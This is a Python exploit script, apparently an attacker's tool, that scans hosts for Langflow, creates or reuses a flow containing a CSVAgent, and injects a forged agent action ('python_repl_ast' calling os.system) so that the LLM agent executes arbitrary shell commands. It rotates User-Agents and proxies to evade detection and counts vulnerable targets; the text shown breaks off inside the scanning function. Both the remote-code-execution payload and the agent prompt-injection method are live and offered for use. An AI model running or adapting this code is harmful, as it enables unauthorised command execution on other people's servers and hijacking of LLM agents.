1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
| #!/usr/bin/env python3
import requests
import sys
import time
import json
import argparse
import threading
import uuid
import base64
import random
import re
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse, urljoin
from datetime import datetime
# Colors
GREEN = '\033[92m'
RED = '\033[91m'
YELLOW = '\033[93m'
BLUE = '\033[94m'
CYAN = '\033[96m'
MAGENTA = '\033[95m'
WHITE = '\033[97m'
RESET = '\033[0m'
BOLD = '\033[1m'
class AllInOneExploit:
def __init__(self, debug=False, use_proxy=False, rotate_ua=True):
self.debug = debug
self.use_proxy = use_proxy
self.rotate_ua = rotate_ua
# Koleksi User-Agent lengkap
self.user_agents = [
# Windows Chrome
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36',
# Windows Firefox
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0',
# Windows Edge
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0',
# macOS
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:123.0) Gecko/20100101 Firefox/123.0',
# Linux
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
'Mozilla/5.0 (X11; Linux x86_64; rv:123.0) Gecko/20100101 Firefox/123.0',
# Mobile - iPhone
'Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1',
'Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1',
# Mobile - Android
'Mozilla/5.0 (Linux; Android 14; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.36',
'Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Mobile Safari/537.36',
]
# Proxy list
self.proxies = []
self.current_proxy = None
# Initialize session
self.session = self._create_session()
self.results = {
'scanned': 0,
'langflow': 0,
'vulnerable': 0,
'exploited': []
}
def _create_session(self):
"""Buat session baru dengan User-Agent random"""
session = requests.Session()
ua = random.choice(self.user_agents) if self.rotate_ua else self.user_agents[0]
session.headers.update({
'User-Agent': ua,
'Accept': 'application/json, text/plain, */*',
'Accept-Language': 'en-US,en;q=0.9',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/json',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
'Sec-Fetch-Dest': 'empty',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Site': 'same-origin',
'Pragma': 'no-cache',
'Cache-Control': 'no-cache'
})
return session
def rotate_user_agent(self):
"""Ganti User-Agent untuk request berikutnya"""
if self.rotate_ua:
new_ua = random.choice(self.user_agents)
self.session.headers.update({'User-Agent': new_ua})
if self.debug:
self.log(f"Rotated UA: {new_ua[:50]}...", "info")
def load_proxies(self, proxy_file=None):
"""Load proxy dari file"""
if proxy_file:
try:
with open(proxy_file, 'r') as f:
self.proxies = [line.strip() for line in f if line.strip()]
self.log(f"Loaded {len(self.proxies)} proxies", "success")
except Exception as e:
self.log(f"Failed to load proxies: {e}", "error")
def get_proxy(self):
"""Dapatkan proxy random"""
if self.use_proxy and self.proxies:
self.current_proxy = random.choice(self.proxies)
return {'http': self.current_proxy, 'https': self.current_proxy}
return None
def print_banner(self):
banner = f"""
{CYAN}{BOLD}
██████╗██╗ ██╗███████╗ ██╗ █████╗ ███╗ ██╗ ██████╗ ███████╗██╗ ██████╗ ██╗ ██╗
██╔════╝██║ ██║██╔════╝ ██║ ██╔══██╗████╗ ██║██╔════╝ ██╔════╝██║ ██╔═══██╗██║ ██║
██║ ██║ ██║█████╗ ██║ ███████║██╔██╗ ██║██║ ███╗█████╗ ██║ ██║ ██║██║ █╗ ██║
██║ ╚██╗ ██╔╝██╔══╝ ██║ ██╔══██║██║╚██╗██║██║ ██║██╔══╝ ██║ ██║ ██║██║███╗██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗██║ ██║██║ ╚████║╚██████╔╝██║ ███████╗╚██████╔╝╚███╔███╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚══════╝ ╚═════╝ ╚══╝╚══╝
CVE-2026-27966 Langflow RCE
[ Created : Vinnzz | Anon Cyber Team ]
{RESET}
"""
print(banner)
def log(self, msg, level="info"):
timestamp = datetime.now().strftime("%H:%M:%S")
proxy_info = f" [Proxy: {self.current_proxy}]" if self.current_proxy else ""
if level == "success":
print(f"{GREEN}[{timestamp}] ✓ {msg}{proxy_info}{RESET}")
elif level == "error":
print(f"{RED}[{timestamp}] ✗ {msg}{proxy_info}{RESET}")
elif level == "warning":
print(f"{YELLOW}[{timestamp}] ⚠ {msg}{proxy_info}{RESET}")
elif level == "info":
print(f"{BLUE}[{timestamp}] ℹ {msg}{proxy_info}{RESET}")
elif level == "vuln":
print(f"{MAGENTA}{BOLD}[{timestamp}] 🔥 VULNERABLE: {msg}{proxy_info}{RESET}")
elif level == "result":
print(f"{CYAN}[{timestamp}] 📦 {msg}{proxy_info}{RESET}")
elif level == "shell":
print(f"{GREEN}[{timestamp}] 💻 {msg}{proxy_info}{RESET}")
def request(self, method, url, **kwargs):
"""Wrapper untuk request dengan rotasi dan proxy (OPTIMIZED)"""
if self.rotate_ua:
self.rotate_user_agent()
proxies = self.get_proxy() if self.use_proxy else None
if 'timeout' not in kwargs:
kwargs['timeout'] = 5 # Turunkan dari 10 ke 5
try:
if method.upper() == 'GET':
return self.session.get(url, proxies=proxies, **kwargs)
elif method.upper() == 'POST':
return self.session.post(url, proxies=proxies, **kwargs)
else:
return self.session.request(method, url, proxies=proxies, **kwargs)
except Exception as e:
if self.debug:
self.log(f"Request error: {e}", "error")
raise
def normalize_url(self, url):
url = url.strip()
if not url.startswith(('http://', 'https://')):
return f"http://{url}"
return url.rstrip('/')
def check_reachable(self, url):
"""Cek apakah target reachable"""
try:
r = self.request('GET', url, timeout=3, allow_redirects=True)
return True, r.status_code
except requests.exceptions.ConnectionError:
return False, "Connection Error"
except requests.exceptions.Timeout:
return False, "Timeout"
except Exception as e:
return False, str(e)
def verify_langflow(self, url):
"""Verifikasi apakah ini benar-benar Langflow dengan lebih akurat"""
results = {
'is_langflow': False,
'version': None,
'flows': [],
'endpoints': [],
'flow_ids': []
}
# Endpoint prioritas (urutkan dari yang paling mungkin)
checks = [
{'url': '/', 'check': lambda r: 'langflow' in r.text.lower() or '<title>Langflow' in r.text},
{'url': '/api/v1/flows', 'check': lambda r: r.status_code == 200},
{'url': '/api/v1/version', 'check': lambda r: r.status_code == 200},
{'url': '/health', 'check': lambda r: r.status_code == 200},
{'url': '/api/flows', 'check': lambda r: r.status_code == 200},
{'url': '/docs', 'check': lambda r: 'swagger' in r.text.lower() or 'redoc' in r.text.lower()},
]
for check in checks:
try:
full_url = urljoin(url, check['url'])
r = self.request('GET', full_url, timeout=2) # Timeout kecil
if check['check'](r):
results['endpoints'].append(check['url'])
if check['url'] == '/':
results['is_langflow'] = True
# Ambil versi
if check['url'] in ['/api/v1/version', '/version'] and r.status_code == 200:
try:
version_data = r.json()
if isinstance(version_data, dict):
results['version'] = version_data.get('version') or version_data.get('Version')
except:
pass
# Ambil flow IDs
if check['url'] in ['/api/v1/flows', '/api/flows'] and r.status_code == 200:
try:
flows = r.json()
if isinstance(flows, list):
for flow in flows:
if isinstance(flow, dict) and flow.get('id'):
results['flow_ids'].append(flow.get('id'))
elif isinstance(flows, dict):
if flows.get('id'):
results['flow_ids'].append(flows.get('id'))
except:
pass
except:
continue
return results
def get_flow_id(self, url):
"""Dapatkan flow ID yang valid dengan berbagai metode (OPTIMIZED)"""
# 1. Coba dari flows yang ada
try:
r = self.request('GET', urljoin(url, '/api/v1/flows'), timeout=3)
if r.status_code == 200:
flows = r.json()
if isinstance(flows, list) and len(flows) > 0:
if flows[0].get('id'):
return flows[0].get('id')
elif isinstance(flows, dict) and flows.get('id'):
return flows.get('id')
except:
pass
# 2. Coba endpoint alternatif (lebih sedikit)
alt_endpoints = ['/api/flows', '/flows']
for endpoint in alt_endpoints:
try:
r = self.request('GET', urljoin(url, endpoint), timeout=2)
if r.status_code == 200:
flows = r.json()
if isinstance(flows, list) and len(flows) > 0:
if flows[0].get('id'):
return flows[0].get('id')
except:
continue
# 3. Buat flow baru
return self.create_flow(url)
def create_flow(self, url):
"""Buat flow ChatInput -> CSVAgent -> ChatOutput (OPTIMIZED)"""
flow_data = {
"name": f"Exploit_{random.randint(1000,9999)}",
"description": "Test flow",
"data": {
"nodes": [
{"id": "input1", "type": "ChatInput", "data": {"node": {"name": "ChatInput"}}},
{"id": "agent1", "type": "CSVAgent", "data": {
"node": {
"name": "CSVAgent",
"params": {
"path": "/tmp/poc.csv",
"llm": {"type": "OpenAI", "params": {"model": "gpt-3.5-turbo"}}
}
}
}},
{"id": "output1", "type": "ChatOutput", "data": {"node": {"name": "ChatOutput"}}}
],
"edges": [
{"source": "input1", "target": "agent1"},
{"source": "agent1", "target": "output1"}
]
}
}
# Endpoint prioritas
create_endpoints = ['/api/v1/flows', '/api/flows', '/flows']
for endpoint in create_endpoints:
try:
full_url = urljoin(url, endpoint)
if self.debug:
self.log(f"Creating flow at: {full_url}", "info")
r = self.request('POST', full_url, json=flow_data, timeout=5)
if r.status_code in [200, 201, 202]:
try:
result = r.json()
flow_id = (result.get('id') or result.get('flow_id') or result.get('flowId'))
if flow_id:
self.log(f"✅ Flow created: {flow_id}", "success")
return flow_id
except:
pass
except Exception as e:
if self.debug:
self.log(f"Error: {e}", "error")
continue
return None
def clean_output(self, raw_output):
"""Bersihkan output dari JSON wrapper"""
if not raw_output:
return None
try:
if raw_output.strip().startswith('{'):
data = json.loads(raw_output)
output = None
if 'xmsg' in data:
output = data['xmsg']
elif 'result' in data:
output = data['result']
elif 'output' in data:
output = data['output']
elif 'message' in data:
output = data['message']
if output:
output = output.replace('Successfully\\n', '').replace('\\n', '\n')
output = output.replace('\\"', '"').replace("\\'", "'")
output = re.sub(r'\x1b\[[0-9;]*m', '', output)
lines = output.split('\n')
clean_lines = [line.strip() for line in lines if line.strip() and not line.startswith('{')]
if clean_lines:
return '\n'.join(clean_lines)
return output
if data.get('status') in [200, 'success', True] or data.get('success') == True:
return "[Command executed successfully]"
return f"[Response received]"
else:
return raw_output
except:
return raw_output
def execute_command(self, url, flow_id, command):
"""Eksekusi command via RCE (VERSI CEPAT - OPTIMIZED)"""
prompt = f"""Action: python_repl_ast
Action Input: __import__("os").system("{command}")
"""
# Payload utama (paling sering work)
payload = {
"input_value": prompt,
"session_id": str(uuid.uuid4()),
"tweaks": {
"CSVAgent": {
"path": "/tmp/poc.csv",
"allow_dangerous_code": True
}
}
}
# Endpoint prioritas (urutkan dari yang paling mungkin)
run_endpoints = [
f'/api/v1/run/{flow_id}',
f'/api/run/{flow_id}',
f'/run/{flow_id}',
]
# Coba endpoint utama dulu
for endpoint in run_endpoints:
try:
full_url = urljoin(url, endpoint)
if self.debug:
self.log(f"Executing at: {full_url}", "info")
r = self.request('POST', full_url, json=payload, timeout=5)
if r.status_code == 200:
cleaned = self.clean_output(r.text)
if cleaned and len(cleaned) > 0:
return cleaned
return "✓ Command executed (no output)"
elif r.status_code == 404:
continue # Endpoint tidak ada
elif self.debug:
self.log(f"Status {r.status_code} from {endpoint}", "warning")
except requests.exceptions.Timeout:
if self.debug:
self.log(f"Timeout on {endpoint}", "warning")
continue
except Exception as e:
if self.debug:
self.log(f"Error on {endpoint}: {e}", "error")
continue
# Kalau gagal, coba dengan payload alternatif (1x)
alt_payload = {
"message": prompt,
"session_id": str(uuid.uuid4())
}
try:
r = self.request('POST', urljoin(url, f'/api/v1/run/{flow_id}'),
json=alt_payload, timeout=5)
if r.status_code == 200:
return self.clean_output(r.text)
except:
pass
return None
def scan_target(self, target):
"""Scan single target"""
target = self.normalize_url(target)
self.results['scanned'] += 1
self.log(f"Scanning: {target}", "info")
reachable, status = self.check_reachable(target)
if not reachable:
self.log(f"Target unreachable: {target} ({status})", "error")
return None
langflow_info = self.verify_langflow(target)
if langflow_info['is_langflow']:
self.results['langflow'] += 1
self.log(f"✅ Langflow detected: {target}", "success")
if langflow_info.get('version'):
self.log(f"📌 Version: {langflow_info['version']}", "info")
flow_id = langflow_info['flow_ids'][0] if langflow_info['flow_ids'] else self.get_flow_id(target)
if flow_id:
self.log(f"📋 Using Flow ID: {flow_id}", "result")
test_cmd = "echo 'VULN_TEST'"
result = self.execute_command(target, flow_id, test_cmd)
if result:
if 'VULN_TEST' in result:
self.results['vulnerable'] += 1
self.log(f"🔥 TARGET VULNERABLE: {target}", "vuln")
return {
'url': target,
'flow_id': flow_id,
'vulnerable': True,
'version': langflow_info.get('version')
}
else:
self.log(f"⚠ Target mungkin patched", "warning")
else:
self.log(f"⚠ Command execution failed", "warning")
|